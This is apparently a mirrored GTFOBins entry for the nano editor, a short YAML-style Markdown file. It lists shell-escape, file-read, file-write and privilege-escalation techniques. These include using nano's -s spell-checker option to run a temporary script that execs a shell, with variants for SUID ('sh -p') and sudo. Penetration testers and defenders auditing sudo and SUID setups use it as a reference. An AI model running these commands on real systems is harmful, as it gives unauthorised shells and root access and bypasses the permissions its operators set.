mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 06:49:44 +01:00
32 lines
587 B
Markdown
32 lines
587 B
Markdown
---
|
|
functions:
|
|
execute-interactive:
|
|
- code: |
|
|
TF=$(mktemp)
|
|
echo 'exec sh' > $TF
|
|
chmod +x $TF
|
|
nano -s $TF /etc/hosts
|
|
^T
|
|
file-write:
|
|
- code: |
|
|
nano file_to_write
|
|
DATA
|
|
^O
|
|
file-read:
|
|
- code: nano file_to_read
|
|
suid-enabled:
|
|
- code: |
|
|
TF=$(mktemp)
|
|
echo 'exec sh -p' > $TF
|
|
chmod +x $TF
|
|
./nano -s $TF /etc/hosts
|
|
^T
|
|
sudo-enabled:
|
|
- code: |
|
|
TF=$(mktemp)
|
|
echo 'exec sh' > $TF
|
|
chmod +x $TF
|
|
sudo nano -s $TF /etc/hosts
|
|
^T
|
|
---
|